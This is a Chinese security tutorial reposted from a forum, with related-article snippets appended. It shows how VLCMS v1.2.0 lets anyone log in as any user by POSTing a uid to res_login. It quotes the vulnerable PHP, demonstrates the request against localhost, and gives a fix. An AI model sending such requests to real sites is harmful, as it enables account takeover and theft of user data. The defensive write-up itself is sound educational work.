WEB安全系列之如何挖掘任意用户登录漏洞
0x01 前言
每周两篇文章打卡。坏蛋100块钱都不给我,好坏好坏的。
0x02 什么是任意用户登录漏洞
几乎每个网站都有自己的会员系统,有会员,就有登录机制,如果可以登录其他用户账户,那么就可以窃取其他用户的资料数据。如果配合上脚本的话,甚至可以批量获取用户的数据。对网站来说,任意用户登录是一个很高危的漏洞。
0x03 实战的案例(白盒测试)
Vlcmsv1.2.0,就拿这套CMS来说吧。
vlcms/Application/Media/Controller/MemberController.class.php
post获取uid传进autoLogin()中
- public function res_login(){
- parent::autoLogin($_POST['uid']);
- echo $this->ajaxReturn(array("status"=>0,"uid"=>$_POST['uid']));
- }
复制代码
将id传进entity()。
- protected function autoLogin($uid){
- $user =$this->entity($uid);
- /* 记录登录SESSION和COOKIES */
- $auth = array(
- 'mid' => $user['id'],
- 'account' => $user['account'],
- 'nickname' => $user['nickname'],
- 'balance' => $user['balance'],
- 'last_login_time' => $user['login_time'],
- );
- session('member_auth', $auth);
- session('member_auth_sign', data_auth_sign($auth));
- }
复制代码
entity中直接根据id查询账户了。。所以只需一个id就能登录任意用户。
- protected function entity($id){
- $data = M('User','tab_')->find($id);
- if(empty($data)){
- return false;
- }
- return $data;
- }
复制代码
0x04 实战的案例(黑盒测试)
http://127.0.0.1/vlcms/index.php?s=/member/res_login/
POST:uid=60
访问后,返回一串代码。
<ignore_js_op>
接着访问http://127.0.0.1/vlcms/index.php?s=/member/,可以看到,已经成功登录账户
<ignore_js_op>
访问:post:uid=61
<ignore_js_op>
接着访问http://127.0.0.1/vlcms/index.php?s=/member/
成功登录uid为61的账户
<ignore_js_op>
0x05 修复建议
不要用id来判断账户身份。
本文来源:http://bbs.ichunqiu.com/thread-8655-1-1.html?from=bokeyuan
WEB安全系列之如何挖掘任意用户登录漏洞的更多相关文章
- 通达OA任意用户登录 漏洞复现
0x00 漏洞简介 通达OA国内常用的办公系统,使用群体,大小公司都可以,其此次安全更新修复的高危漏洞为任意用户登录漏洞.攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系 ...
- 通达OA任意用户登录漏洞复现
前言 今年hw挺火爆的,第一天上来就放王炸,直接搞得hw暂停 昨天晚上无聊,复现了一下通达oa的洞,也有现成的exp可以使用,比较简单 0x00 漏洞概述 通达OA是一套国内常用的办公系统,此次发现的 ...
- 通达OA 前台任意用户登录漏洞复现
漏洞描述 通达OA是一套办公系统.通达OA官方于4月17日发布安全更新.经分析,在该次安全更新中修复了包括任意用户登录在内的高危漏洞.攻击者通过构造恶意请求,可以直接绕过登录验证逻辑,伪装为系统管理身 ...
- Owin+ASP.NET Identity浅析系列(一)用户登录注册
在今天,读书有时是件“麻烦”事.它需要你付出时间,付出精力,还要付出一份心境.--仅以<Owin+ASP.NET Identity浅析系列>来祭奠那逝去的…… 使用VS2015创建MVC项 ...
- 【Qt编程】基于Qt的词典开发系列<八>--用户登录及API调用的实现
在上一篇文章<调用网络API>中,我仅仅讲述了怎样直观的使用API接口以及调用API后返回的结果,本文则从程序实现的角度来实现API的调用.当然本程序的实现也是借助于扇贝网的API接口文档 ...
- 黄聪:保持web页面生成的app一直处于用户登录状态不退出
用户登录了会员中心,怎么保持登录状态! 由于封壳的内核及组件肯定没有浏览器APP应用那么强大,所以目前暂时的解决方案是: jquery.cookie.js 本文转载至:https://www.cnb ...
- Linux系列(22) - 用户登录查看命令
需求 查看当前在线用户情况:历史用户登录情况 W 格式 [root@localhost ~]# w:查看所有登录用户信息 [root@localhost ~]# w [用户名]:查看指定登录用户信息 ...
- XMPP系列(二)----用户注册和用户登录功能
1.创建一个新工程 2.导入XMPP框架 最新的XMPP框架下载地址:https://github.com/robbiehanson/XMPPFramework 将XMPP的几个文件夹拖进工程中,需要 ...
- phpdisk 盲注 &前台任意用户登录
代码审核 文件 plugins\phpdisk_client\passport.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $str ...
随机推荐
- js实现多个小球碰撞
实现思路:小球的移动,是通过改变小球的left和top值来改变,坐标分别为(x,y)当x/y值加到最大,即加到父级的宽度或者高度时,使x值或者y值减小,同理当x值或者y值减到最小时,同样的使x值或者y ...
- LoadRunner运行错误集
1.error-27796错误解决方法: 在负载生成器的注册表HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters ...
- 2018-2019-2 网络对抗技术 20165323 Exp6 信息搜集与漏洞扫描
一.实验内容 二.实验步骤 1.各种搜索技巧的应用 2.DNS IP注册信息的查询 3.基本的扫描技术 主机发现 端口扫描 OS及服务版本探测 具体服务的查点 4.漏洞扫描 三.实验中遇到的问题 四. ...
- 使用HttpWebRequest请求https链接时,无法访问的问题,设置ServicePointManager.SecurityProtocol安全协议
//请求前设置一下使用的安全协议类型 System.Net if (url.StartsWith("https", StringComparison.OrdinalIgnoreCa ...
- [NOI2018]你的名字
题解: 前68分非常简单 建立SAM 另一个串在上面跑,然后求一个树链的并 我们会发现暴力就是min(l^2,n)的 所以复杂度最多是nsqrt(n)的 当然我们也可以nlogn维护 把所有点按照df ...
- Spring 1 控制反转、依赖注入
1.1 Spring的核心是控制反转(IoC)和面向切面(AOP) 学习spring之前的开发中通过new创建一个对象,有了spring之后,spring创建对象实例-IoC控制反转,之后需要实例对象 ...
- Nvidia的CUDA库现在恢复使用了
Nvidia的CUDA库现在恢复使用了 由于早期版本存在兼容问题,从去年8月nvidia-cuda-toolkit包被移除了.现在该软件包更新后,又重新可以用,被重新添加到Kali Linux软件 ...
- Kali Linux更新后无法启动解决了
Kali Linux更新后无法启动解决了 1月3日,Kali Linux从上游Debian引入systemd组件的升级版本240-2.一旦更新该版本,就可能造成系统无法启动,直接进入(initra ...
- HFS 轻量化 的文件服务器
国外的工具 国内的工具
- Ubuntu14.04下如何配置固定IP
首先用root用户登陆,然后输入你root的密码.如下图: 然后编辑interfaces文件,该文件位于/etc/network/下,执行如下命令: vim /etc/network/interf ...